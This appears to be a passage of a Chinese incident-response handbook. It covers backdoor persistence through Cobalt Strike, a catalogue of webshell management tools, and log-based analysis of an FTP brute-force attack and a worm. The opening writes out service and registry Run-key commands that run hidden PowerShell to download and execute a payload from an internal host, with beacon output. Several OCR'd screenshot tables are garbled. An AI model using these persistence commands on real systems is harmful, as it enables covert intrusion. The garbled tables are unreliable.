| powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri | ng |
| Ok | |

服务自启动后门

sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))\"" sc description Name "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启动 net start Name //启动服务

重启服务器后,成功返回一个shell。



- [*] Tasked beacon to run: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "name" /t REG_SZ /d
- C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \'IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))** /f
- [+] host called home, sent: 260 bytes
- [+] received output: *Ù×÷*É*¦Íê*É;£
- 账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。

| Cobalt Strike View Attacks Reporting Help | | | | | | | | |
|--|----------------|-----------------|-----------------|------|----------|------|--|--|
| | 0 🖬 🛨 🔑 | 🖬 🏟 萨 🗎 | 🖂 🔗 📥 📕 🇊 | | | | | |
| external | internal 🔺 | user | computer | note | pid | last | | |
| 192.168.28.132 | 192.168.28.132 | Administrator * | WIN-D8MSEM20MJB | | 876 | 7s | | |
| 192.168.28.132 | 192.168.28.132 | Administrator * | WIN-D8MSEM20MJB | | 1648 | 1m | | |
| 192.168.28.132 | 192.168.28.132 | Administrator * | WIN-D8MSEM20MJB | | 3632 | 7s | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| _ T | | | | | | | | |
| Event Log X Listeners X Beacon 192.168.28.132@1648 X | | | | | | | | |
| headen hall not ald UNIN SOFTWARE Nicrosoft Winders (Current Wardien) Run to "Neurose" the | | | | | | | | |
| Deacon/ Shell leg add HKLM (SUPTWARE (Microsoft (Windows (Currentversion Kun / V Keyname / t | | | | | | | | |
| KBG_S2 /d C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe =nop =w hidden =c \ IEX | | | | | | | | |
| ((new-object net.webclient).downloadstring('http://192.108.28.142:8080/a'))) / /f | | | | | | | | |
| *] Tasked beacon to run: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v | | | | | | | | |
| "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.ere -nop -w | | | | | | | | |
| hidden -c \~IEX ((new-object | | | | | | | | |
| net.webclient).downloadstring('http://192.168.28.142:8080/a'))** /f | | | | | | | | |
| fil best selled bess seets 257 bets | | | | | | | | |
| [WIN-D8MSEM20MJB] Administrator */1648 | | | | | last: 1m | | | |
| beacon> | | | | | | | | |

注册表还有哪些键值可以设置为自启动:

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
```

0x04 结束语

本文简单介绍了通过三大渗透框架进行权限维持的几种方法,了解攻击者常用的渗透框架及后门技术,有助于更好地去 发现并解决服务器安全问题。

第7篇:常见WebShell管理工具

攻击者在入侵网站时,通常要通过各种方式写入Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置 文件、窃取用户数据,篡改网站页面等操作。

本文介绍十款常用的Webshell管理工具,以供你选择,你会选择哪一个?

1、中国菜刀(Chopper)

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀 来进行管理!在非简体中文环境下使用,自动切换到英文界面。UNICODE方式编译,支持多国语言输入显示。

| □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ | | | | ○ - □ 🗙 |
|---|-------------|--|---------------------|---------------------|
| | | | | 星期日 2020-03-01 二月初八 |
| 🔟 http://www.maicaidao.com/server.asp | c 127.0.0.1 | <t>ADO<th>2017-05-24 19:11:38</th><th>□ □ 站点类别 □ 默认类别</th></t> | 2017-05-24 19:11:38 | □ □ 站点类别 □ 默认类别 |
| 📅 http://www.maicaidao.com/server.aspx | c 127.0.0.1 | <t>ADO<th>2017-05-24 19:11:38</th><th>🛄 Typel</th></t> | 2017-05-24 19:11:38 | 🛄 Typel |
| PHP http://www.maicaidao.com/server.php | o 127.0.0.1 | <t>MYSQL<</t> | 2017-05-24 19:11:38 | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |

2、蚁剑(AntSword)

AntSword是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和/或授权的安全研究人员以及网站管理员的需求。

github项目地址: <u>https://github.com/AntSwordProject/antSword</u>

| Ø 中国蚁剑 | | | | | | | _ | n x |
|-------------------|------|------|------|------------|------|--------|------|------|
| AntSword 编辑 窗口 调试 | | | | | | | | |
| < ■ | | | | | | | | + |
| ≔ 数据管理 (0) | | | | ▶分类目录(1) > | | | | |
| URL地址 | IP地址 | 物理位置 | 网站备注 | 创建时间 | 更新时间 | ◎添加 | A重命名 | ☎ 刪除 |
| | | | | | | 🗅 默认分约 | ŧ | 0 |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |

3、C刀(Cknife)

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义。
github项目地址: <u>https://github.com/Chora10/Cknife</u>

| Cknife 1.0 Release | | | - 🗆 X |
|---|-----|------------|---------------------|
| 列表 | | | |
| | Url | | Time |
| http://10.120.6.2/system_dntb/upload/1.aspx | | 10.120.6.2 | 2017-11-08 16:13:39 |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| 删除成功 | | | |

4、冰蝎(Behinder)

冰蝎"是一款动态二进制加密网站管理客户端。

github地址: <u>https://github.com/rebeyond/Behinder</u>

| 😪 冰蝎 v2.0.1 动态二进制加密Web远程管理客户端【t00ls专版 www.t00ls.net】 | | | | | | | | | | \times |
|--|----------------|------|------|-------|----|---------------------|----|-----------|----------|----------|
| 设置代理 | | | | | | | | | | |
| URL | IP | 访问密码 | 脚本类型 | OS类型 | 备注 | 添加时间 | | | | |
| http://192.168.50.217:8090/shell.php | 192.168.50.217 | pass | php | winnt | | 2019-02-14 17:41:08 | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| 请勿用于非法用途 | | | | | | | [] | 冰蝎 v2.0.1 | By rebey | ond |

XISE WebShell管理工具。

| Xise WBMS V2 | 20.0 正式版 | | | | | - | | × |
|---------------|-------------------|----------|-------|---------------|-------------------|--------------|---|----|
| 菜单 辅助 帮! | 助 | | | | | | | |
| 0 (th) 0 (th) | 1.1 | 0 mm | o #14 | - 40+ | | ▷→ 分組 | | 2- |
| | 211 | △ 當明 | △貧注 | V 17.30 | CANTELIE | 5 默认分组 | | - |
| P 178 http:// | /www. com/plus/my | 1 | 批量导入 | × | 2017-03-23 | - scory 24 | | |
| A 179 http:// | /850 onEig/AspC | ysh | 批重导入 | ~ | 2017-03-23. | | | |
| P 180 http:// | /www cn/plus/my | 1 | 批重导入 | ~ | 2017-03-23 | | | |
| A 182 http:// | /www uid.com/co | y.sh | 批量导入 | ~ | 2017-03-23 | | | |
| P 183 http:// | /ndf. lus/nytag | diaosi | 批量导入 | ~ | 2017-03-23 | | | |
| A 184 http:// | /www. :om/Wap/Pl | ggbond | 批量导入 | | 2017-03-23. | | | |
| P 185 http:// | /www. m/plus/my | guige | 批量导入 | ¥ | 2017-03-23 | | | |
| P 186 http:// | /qfer; .us/mytag | guige | 批量导入 | V | 2017-03-23 | | | |
| P 187 http:// | /www. com/plus/ | 511348 | 批量导入 | | 2017-03-23 | | | |
| A 188 http:// | /www com/conf | ysh | 批量导入 | ~ | 2017-03-23 | | | |
| A 189 http:// | /www @/config | ysh | 批量导入 | ~ | 2017-03-23 | | | |
| P 190 http:// | /www.com/plu | 1 | 批量导入 | ~ | 2017-03-23. | | | |
| P 191 http:// | /www.h.com/pl | guige | 批量导入 | v | 2017-03-23. | | | |
| P 192 http:// | /ww net/plu | guige | 批量导入 | V | 2017-03-23. | | | |
| P 193 http:/ | /www. api/cac | end | 批量导入 | | 2017-03-23. | | | |
| P 196 http:/ | /ww /upload | shenz | 批量导入 | ¥ | 2017-03-23. | | | |
| P 203 http:/ | /www.s 1. com//p | 511348 | 批單导入 | v | 2017-03-23. | | | |
| A 205 http:/ | /www.: m/manag | hack | 批單导入 | v | 2017-03-23. | | | |
| A 207 http:/ | /www. /inc/co | tuhao | 批量导入 | <u> </u> | 2017-03-23. | | | |
| P 208 http:/ | /www.useum.co | 511348 | 批量导入 | | 2017-03-23. | | | |
| P 209 http:/ | /www.com/plu | lemon | 批量导入 | | 2017-03-23 | | | |
| A 211 http:/ | /www con/admi | xm | 批量导入 | <u> </u> | 2017-03-23 | | | |
| B 212 http:/ | /www.com//plu | vales | 投留号入 | <u> </u> | 2017-03-23 | | | |
| P 213 http:/ | /www. //plus/la | x | 批量量入 | <u> </u> | 2017-03-23 | | | |
| A 215 http:// | Uww Vinages/ | vin | 投留导入 | <u> </u> | 2017-03-23 | | | |
| P 217 http:// | Jury on/nlus/n | min | 投留导入 | <u></u> | 2017-03-23 | > | | |
| A 218 http:// | June control | 6 ar 6 a | 批留号) | <u> </u> | 2017-03-23 | | | |
| A 225 http:// | /www.com.com/ | weh | 松田合) | | 2017-03-23 | ^ | | |
| P 228 http:// | Jawa m contina | 86 | 松田弓) | 2 | 2017-03-23 | C | | |
| A 228 http:// | line configure | | 你里马以 | 2 | 2017-03-23 | × | | |
| < | | | | | > | | | |
| 导入完毕! | | | | Total: 1000 📈 | ': 0 ×: 0 ?: 1000 | Current: 1 / | 2 | |

6、Altman

Altman3是一款渗透测试软件,基于.Net4.0开发,依托Eto.Form可以完美运行在Windows、Linux、Mac等多个平台。github项目地址: <u>https://github.com/keepwn/Altman</u>

🔼 Altman

| File | Services Plug | jins H | elp | | | | |
|-------|-----------------|--------|--------|--------------------------------------|----------------|----------|-----------|
| Index | 🗙 ShellManager | × | | | | | |
| Id | Name | Level | Status | ShellUrl | Туре | Remark | AddTime |
| 1 | TestPHP | A | 200 | http://192.168.200.11/1.php | phpEval | VMserver | 2014-7-1 |
| 2 | TestASPX | A | 200 | http://192.168.200.11:7000/j.aspx | aspxEval | VMserver | 2014-7-2 |
| 3 | TestASP | A | 500 | http://192.168.200.11:7000/1.asp | aspEval | VMserver | 2014-7-1 |
| 4 | TestLinux | A | -1 | http://192.168.200.12/1.php | phpEval | Willinux | 2014-5-7 |
| 5 | TestAspx_access | A | 200 | http://192.168.200.11:7000/j.aspx | aspxEval | VMServer | 2014-7-1 |
| 6 | TestAsp_access | A | 500 | http://192.168.200.11:7000/1.asp | aspEval | | 2014-7-1 |
| 7 | TestJsp | A | 200 | http://192.168.200.11:8080/1.jsp | jspBig | | 2014-6-15 |
| 8 | TestDjango | Å | -1 | http://192.168.200.11:8000/one/ | pythonEval | | 2014-6-20 |
| 10 | TestPHP_Assert | A | 200 | http://192.168.200.11/php_assert.php | phpAssert | | 2014-7-8 |
| 11 | TestPHP_Cookie | A | 200 | http://192.168.200.11/php_cookie.php | phpEval_Cookie | | 2014-7-8 |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |

< Ready

Version: 3.0.1.31307@KeePwn

>

 \times

7、Weevely

Weevely是一种Python编写的webshell管理工具,跨平台,只支持PHP。

github项目地址: <u>https://github.com/epinna/weevely3</u>

用法示例:

weevely generate <password> <path>
weevely <URL> <password> [cmd]

同时,在Kali 2.0版本下,集成了三款Web后门工具:WebaCoo、weevely、PHP Meterpreter。

| € | root@kali: ~ | ٩ | • | • | 8 |
|------------|--|---|---|---|---|
| roo | t@kali:~# weevely | | | | - |
| [+] [!] | weevely 3.7.0 Error: too few arguments | | | | ł |
| [+] | Run terminal or command on the target weevely <url> <password> [cmd]</password></url> | | | | |
| [+] | Recover an existing session weevely session <path> [cmd]</path> | | | | |
| [+] | Generate new agent weevely generate <password> <path></path></password> | | | | |
| roo | t@kali:~# | | | | |

8、QuasiBot

QuasiBot是一款php编写的webshell管理工具,可以对webshell进行远程批量管理。

github项目地址: <u>https://github.com/Smaash/quasibot</u>

| | Home | Вотя |
|----------|-------------------------------------|---|
| | Index Settings PSS | Count - 4 - Current hash - 83802beb37cc724becdex497a7cbace - Proxy-127.0.0.1959 ID URL IP STATUS OS RCE PWN 1. http://ico.alhostVcb.php 127.0.0.1 BAD Notconnected 2. http://ico.alhostVcb.php 127.0.0.1 BAD Notconnected 3. http://ico.alhostVcb.php 127.0.0.1 OK Linux • • 4. http://ico.stVpath/x.php host BAD Notconnected |
| ľ | Hack RCE Scan | Reverse Shell |
| | Pwn Shell | D SHELL IP PORT D SHELL IP PORT D PHP O PH0 0 Perint 192.168.0.100 1337 Good |
| | Tools MySQL Manager HostStran | ● Puby Non Aug 4 15:05:43 CEST 2014 Linux hell 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014 -06-07) i686 GNU/Linux |
| | Bots | Green Bind Shell on victim machine • Shell exists as long as this window will be opened [CMD]> id uid=33 (www-data) gid=33 (www-data) groups=33 (www-data) D Password PORT 3 p4sst0rd 31337 |
| | DDøS Run | |
| for loca | Apache/2.2.22 (Debi alhost | -Modifa@ 0 (011; Linux 1888; iv:24.0) Geckor20140723 Firefox24.0 (ceweasel/24.7.0 |

9、Webshell-Sniper

这是一款基于终端的webshell管理工具,仅支持在类Unix系统上运行。 github项目地址:<u>https://github.com/WangYihang/Webshell-Sniper</u> 用法示例:

Usage : python webshell-sniper.py [URL] [METHOD] [AUTH]

Example :

python webshell-sniper.py http://127.0.0.1/c.php POST c



10、WebshellManager

一款用PHP+Mysql写的一句话WEB端管理工具,目前仅支持对PHP的一句话进行操作。

Webshell Manager w8ay 🗑 管理员 👻 🗙 开启全屏 脅 首页 Webshell / 一句话管理 ► Webshell管理 > +新增 會删除 所有类别 • 搜索 ✔ 一句话管理 5 □ URL地址 修改日期 密码 备注 操作 类别 ▶ 帮助页 http://127.0.0.1/typecho/phpinfo.php PHP 1 001 2016-10-28 ◎ 文件管理 ◎ 编辑 ◎ 删除 巤 操作日志 http://127.0.0.1/phpinfo.php PHP 测试00 2016-10-27 1 **豪**执行命令 共5条记录 # DDOS 1 2 3 ☞ 注销 注:.... ■公告 时光静好,与君语;细水 © 2014 AllMobilize, Inc. Licensed under MIT license. 流年,与君同。-

github项目地址: <u>https://github.com/boy-hack/WebshellManager</u>

我在知识星球发起了一个小讨论,也收集到了一些webshell管理工具,如 hatchet、K8飞刀、lanker,欢迎补充。

第四章: Windows实战篇

第1篇:FTP暴力破解

0x00 前言

FTP是一个文件传输协议,用户通过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、日常源码备份等。如果攻击者通过FTP匿名访问或者弱口令获取FTP权限,可直接上传webshell,进一步渗透提权,直至控制整个网站服务器。

0x01 应急场景

从昨天开始,网站响应速度变得缓慢,网站服务器登录上去非常卡,重启服务器就能保证一段时间的正常访问,网站响应状态时而飞快时而缓慢,多数时间是缓慢的。针对网站服务器异常,系统日志和网站日志,是我们排查处理的重点。 查看Window安全日志,发现大量的登录失败记录:



0x02 日志分析

安全日志分析:

安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么。

打开安全日志,在右边点击筛选当前日志,在事件ID填入4625,查询到事件ID4625,事件数177007,从这个数据可以 看出,服务器正则遭受暴力破解:

| 🛃 事件查看器 | | <u>_ 8</u> > |
|---|---|--------------------|
| 文件(P) 操作(A) 查看(V) | 郫助 여이 | |
| 🗢 🔿 🔰 🖬 🛛 🖬 | | |
| 🛃 事件查看器 (本地) | 安全 事件数: 355, 156 | 操作 |
| 団 📑 自定义视图 □ 📑 Windows 日志 | ✓ 日篩洗:日志: Security: 来源: ·事件 ID: 4625.事件数: 177.007 | 安全 🔺 |
| □ ■ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ □ | | 🧉 打开保存的日志 |
| ■ 安全 | 关键字 日期和时间 来源 事件 ID 任务类别 ▲ | 🔻 创建自定义视图 |
| Setup ₽ 系统 | 「新送当前日志 | - |
| ■ 转发事件 | 筛选器 XML | 清除日志 |
| | 记录时间(G): (Honthin) | 🍸 筛选当前日志 |
| | | 清除筛选器 |
| | (単1年級別: □ 关键(L) □ 警告(W) □ 详细(B) | ■ 属性 |
| | □ 错误(R) □ 信息(1) | 🌺 查找 |
| | © 按日志(O) 事件日志(E): 安全 | │ 将已筛选的日志文 |
| | ○ ☆酒(C) 車(#☆酒00. | 将任务附加到此日 |
| | | 🍸 将筛选器保存到自 |
| | 包括/排除事件 ID: 輸入 ID 号和/或 ID 范围,广元逗号分隔。若要排除条件,请先键入减 | 查看 ▶ |
| | 号。例如 1,3,5-99,-76(<u>№</u>) | 🧟 刷新 |
| | 4625 | 2 帮助 |
| | (任各举制(几): | 事件 4625, Microso ▲ |
| | | 事件属性 |
| | ★鏈字(近): | · 这在冬R开的开始中事 |

进一步使用Log Parser对日志提取数据分析,发现攻击者使用了大量的用户名进行爆破,例如用户名:fxxx,共计进行了17826次口令尝试,攻击者基于"fxxx"这样一个域名信息,构造了一系列的用户名字典进行有针对性进行爆破,如下图:

| C: Progra | n Files (x86)\Lo | g Parse | r 2.2> | LogI | Parser exe -i:FUT "SELECT EXTRACT 1 |
|------------|------------------|---------|---------|-------|--|
| EN(Message | e, 13, '' as Ev | entType | EXTRA | CT_1 | OKEN(Message, 19, ' ') as user, count() |
| RACT_TOKE | N(Message,19,' ' | >> as 1 | ines,E | XTRA | CT_TOKEN <message,38,' ')="" as="" loginip<="" td=""></message,38,'> |
| 0M c:∖Secu | urity.evtx where | e Event | ID=462 | 5 GF | COUP BY Message" |
| EventType | user | Times | Logini | p | |
| 8 | f, 1 | 17826 | _ | _ | |
| 8 | f, l.gov.cn | 2747 | | | |
| 3 | f, igoven | 15362 | | | |
| 8 | www.f | 9842 | | | |
| 8 | f, 123 | 1350 | | | |
| 8 | £ 1888 | 1156 | | | |
| 8 | £, 1666 | 1156 | | | |
| 3 | f. 123456 | 1155 | | | |
| 8 | fgovcn | 153 | | | |
| 8 | f '_govcn | 152 | | | |
| Press a k | ey | | | | |
| EventType | user | | Ti | .ne s | Loginip |
| 8 | govcn | | 20 | 18 | - |
| 3 | www-data | | 2 | | |
| 3 | admin@fgovc | n | 30 | 22 | |
| 3 | f, Of, Lgoven | | 25 | 92 | |
| 8 | administrator | | 89 | 3 | |
| 3 | f .govcn | | 15 | 05 | |
| 3 | webmaster@f, | govcn | 30 | 04 | |
| 3 | .fgovcn | | 15 | 00 | |
| 3 | administrator@f | .gov | vcn 25 | 66 | |
| 8 | administrators | É .go | ovcn 25 | 62 | |
| Press a k | ey | | | | |

这里我们留意到登录类型为8,来了解一下登录类型8是什么意思呢?

登录类型8:网络明文 (NetworkCleartext)

这种登录表明这是一个像类型3一样的网络登录,但是这种登录的密码在网络上是通过明文传输的,WindowsServer服务是不允许通过明文验证连接到共享文件夹或打印机的,据我所知只有当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型。"登录过程"栏都将列出Advapi。

我们推测可能是FTP服务,通过查看端口服务及管理员访谈,确认服务器确实对公网开放了FTP服务。

| 🚾 管理员 | : C:\Windows\system32 | icad. exe | | _ 8 × |
|----------|-----------------------|-----------------|-------------|-------|
| C:\User: | s\Administrator>net | stat -ano | | ▲ |
| | - | | | |
| 沽切進務 | ŧ. | | | |
| ቲሔብህ | ★₩₩₩ | 从部地址 出太 | סזה | |
| TCP | /т×-юю 00000:0:21 | | LISTENING | 1068 |
| TCP | 0 0 0 0-135 | 0 0 0 0.0 | LISTENING | 660 |
| TCP | 0 0 0 0 0 445 | 0 0 0 0 0 | LISTENING | 4 |
| TCP | 0 0 0 0:1433 | 0 0 0 0:0 | LISTENING | 1640 |
| TCP | 0 0 0 0:2383 | 0 0 0 0 0 | LISTENING | 1708 |
| TCP | 0_0_0_0:2809 | 0_0_0_0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:3389 | 0.0.0.0.0 | LISTENING | 1740 |
| TCP | 0.0.0.0.8880 | 0.0.0.0.0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9043 | 0.0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9060 | 0.0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9080 | 0.0.0.0.0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9100 | 0.0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9402 | 0.0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9403 | 0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:9443 | 0.0.0:0 | LISTENING | 2924 |
| TCP | 0.0.0.0:47001 | 0.0.0:0 | LISTENING | 4 |
| TCP | 0.0.0.0:49152 | 0.0.0:0 | LISTENING | 380 |
| TCP | 0.0.0.0:49153 | 0.0.0:0:0 | LISTENING | 740 |
| TCP | 0.0.0.0:49154 | 0.0.0.0:0 | LISTENING | 484 |
| TCP | 0.0.0.0:49155 | 0.0.0.0:0 | LISTENING | 784 |
| TCP | 0.0.0.0:49156 | 0.0.0.0:0 | LISTENING | 476 |
| TCP | 0.0.0.0:49157 | 0.0.0.0:0 | LISTENING | 1816 |
| TCP | 127.0.0.1:1434 | 0.0.0.0:0 | LISTENING | 1640 |
| TCP | 127.0.0.1:9633 | 0.0.0.0:0 | LISTENING | 2924 |
| TCP | 127.0.0.1:49163 | 127.0.0.1:49164 | ESTABLISHED | 2924 |
| TCP | 127.0.0.1:49164 | 127.0.0.1:49163 | ESTABLISHED | 2924 |
| TCP | 192.168.204.162:1 | 39 0.0.0.0:0 | LISTENING | 4 |

另外,日志并未记录暴力破解的IP地址,我们可以使用Wireshark对捕获到的流量进行分析,获取到正在进行爆破的IP:

| | ftp-data | | | | | ▼ 表达式… ↓ + | |
|-----|--------------|-----------------|-----------------|----------|---|------------|---|
| No. | Time | Source | Destination | Protocol | Length Info | ^ | J |
| | 71 0.211406 | 114.104.226.230 | 192.168.7.52 | FTP | 76 Request: USER www.f | | |
| | 77 0.212777 | 192.168.7.52 | 114.104.226.230 | FTP | 98 Response: 331 Password required for www.f .gov.cn. | | |
| | 83 0.248105 | 114.104.226.230 | 192.168.7.52 | FTP | 82 Request: PASS www.f gov.cn888888 | | |
| | 84 0.253240 | 192.168.7.52 | 114.104.226.230 | FTP | 79 Response: 530 User cannot log in. | | |
| | 102 0.337134 | 192.168.7.52 | 114.104.226.230 | FTP | 81 Response: 220 Microsoft FTP Service | | |
| | 125 0.377319 | 114.104.226.230 | 192.168.7.52 | FTP | 70 Request: USER govcn | | |
| | 127 0.378650 | 192.168.7.52 | 114.104.226.230 | FTP | 92 Response: 331 Password required for govcn. | | |
| | 159 0.428400 | 114.104.226.230 | 192.168.7.52 | FTP | 76 Request: PASS 4 govcn8888888 | | |
| | 160 0.433543 | 192.168.7.52 | 114.104.226.230 | FTP | 79 Response: 530 User cannot log in. | | |
| | 188 0.557070 | 192.168.7.52 | 114.104.226.230 | FTP | 81 Response: 220 Microsoft FTP Service | | |
| | 197 0.612636 | 114.104.226.230 | 192.168.7.52 | FTP | 65 Request: USER f | | |
| | 199 0.614270 | 192.168.7.52 | 114.104.226.230 | FTP | 87 Response: 331 Password required for f | | |
| | 207 0.655779 | 114.104.226.230 | 192.168.7.52 | FTP | 71 Request: PASS f 99999 | | |
| | 209 0.661977 | 192.168.7.52 | 114.104.226.230 | FTP | 79 Response: 530 User cannot log in. | | |
| | 227 0.731976 | 192.168.7.52 | 114.104.226.230 | FTP | 81 Response: 220 Microsoft FTP Service | | |
| | 233 0.769892 | 114.104.226.230 | 192.168.7.52 | FTP | 76 Request: USER www.f .gov.cn | | |
| | 234 0.771546 | 192.168.7.52 | 114.104.226.230 | FTP | 98 Response: 331 Password required for www.f .gov.cn. | | |
| | 244 0.802513 | 114.104.226.230 | 192.168.7.52 | FTP | 82 Request: PASS www.f gov.cn999999 | | |
| | 245 0.807336 | 192.168.7.52 | 114.104.226.230 | FTP | 79 Response: 530 User cannot log in. | | |
| | 260 0.885566 | 192.168.7.52 | 114.104.226.230 | FTP | 81 Response: 220 Microsoft FTP Service | | |
| | 271 0.918746 | 114.104.226.230 | 192.168.7.52 | FTP | 70 Request: USER f ;ovcn | | |
| | 274 0.919949 | 192.168.7.52 | 114.104.226.230 | FTP | 92 Response: 331 Password required for f jovcn. | | |
| | 277 0.952686 | 114.104.226.230 | 192.168.7.52 | FTP | 76 Request: PASS f ;ovcn999999 | | |
| | 278 0.958971 | 192.168.7.52 | 114.104.226.230 | FTP | 79 Response: 530 User cannot log in. | | i |

通过对近段时间的管理员登录日志进行分析,如下:

| C: \Program | n Files (x86)\Lo | g Parser 2.2> | LogParser.exe | -i:EVT | "SELECT | EXTRACT_TOKE |
|---------------------------------------|---|---------------|---------------|-----------|----------|--------------|
| N(Message, | .13,' ') as Even | tType,TimeGen | erated as Log | inTime,EX | TRACT_TO | KEN(Strings, |
| 5,'l') as | Username, EXTRAC | T_TOKEN(Messa | ge,38,'') as | Loginip | FROM c:\ | Security.evt |
| x where Ev | ventID=4624 and | EXTRACT_TOKEN | (Message,13,' | ')='10'" | | |
| EventType | LoginTime | Username | Loginip | | | |
| | | | | | | |
| 10 | 2018-07-05 07:2 | 6:00 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 07:3 | 4:40 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 07:3 | 5:07 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 07:4 | 8:52 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 08:2 | 9:02 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 08:3 | 5:21 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 09:5 | 5:24 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 10:5 | 3:36 🖾 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 10:5 | 8:20 admin | 192.168.6.5 | | | |
| 10 | 2018-07-05 15:0 | 7:45 🖾 admin | 192.168.6.5 | | | |
| Press a ke | y | | | | | |
| EventType | LoginTime | Username | Loginip | | | |
| 10 | 2018-07-05 15:1 | 8:33 admin | 192.168.6.5 | | | |
| Statistics | | | | | | |
| Elements y Elements o Execution | processed: 35585 putput: 11 time: 29.14 | 2 seconds | | | | |

管理员登录正常,并未发现异常登录时间和异常登录ip,这里的登录类型10,代表远程管理桌面登录。

另外,通过查看FTP站点,发现只有一个测试文件,与站点目录并不在同一个目录下面,进一步验证了FTP暴力破解并未成功。



应急处理措施: 1、关闭外网FTP端口映射 2、删除本地服务器FTP测试

0x04 处理措施

FTP暴力破解依然十分普遍,如何保护服务器不受暴力破解攻击,总结了几种措施:

1、禁止使用FTP传输文件,若必须开放应限定管理IP地址并加强口令安全审计(口令长度不低于8位,由数字、大小写字母、特殊 字符等至少两种以上组合构成)。

2、更改服务器FTP默认端口。

3、部署入侵检测设备,增强安全防护。

第2篇: 蠕虫病毒

0x00 前言

蠕虫病毒是一种十分古老的计算机病毒,它是一种自包含的程序(或是一套程序),通常通过网络途径传播,每入侵到 一台新的计算机,它就在这台计算机上复制自己,并自动执行它自身的程序。

常见的蠕虫病毒:熊猫烧香病毒、冲击波/震荡波病毒、conficker病毒等。

0x01 应急场景

某天早上,管理员在出口防火墙发现内网服务器不断向境外IP发起主动连接,内网环境,无法连通外网,无图脑补。

0x02 事件分析

在出口防火墙看到的服务器内网IP,首先将中病毒的主机从内网断开,然后登录该服务器,打开D盾_web查杀查看端口 连接情况,可以发现本地向外网IP发起大量的主动连接:

| ②数据图 | 靠后门追查 🛛 🥑 数据库阻 | 降权 🕵 克 | 隆帐号检测 🛃 流量监 | 控 📴 🖽 | 也监控 🌏 端口 | 查看 📴 ម | 粗查看│ | ◇样本解码 | 🗯 文件监控 | |
|-------|----------------|--------|-------------------|-------|----------|--------|------|-------|--------|--|
| 协议 | 源IP | 本地端口 | 目标IP | 目标端口 | 状态 | 进程ID | | | | |
| TCP | 192. 8. 4. 152 | 54432 | 13.121.140.36 | 445 | 发送状态 | 1040 | | | | |
| TCP | 192. 8. 4. 152 | 54433 | 122.86.74.120 | 445 | 发送状态 | 1040 | | | | |
| TCP | 192. 8. 4. 152 | 54434 | 20.7.61.63 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54435 | 142. 42. 126. 93 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54436 | 148.84.184.113 | 445 | 发送状态 | 1040 | | | | |
| CP | 192. 8. 4. 152 | 54437 | 18.11.237.123 | 445 | 发送状态 | 1040 | | | | |
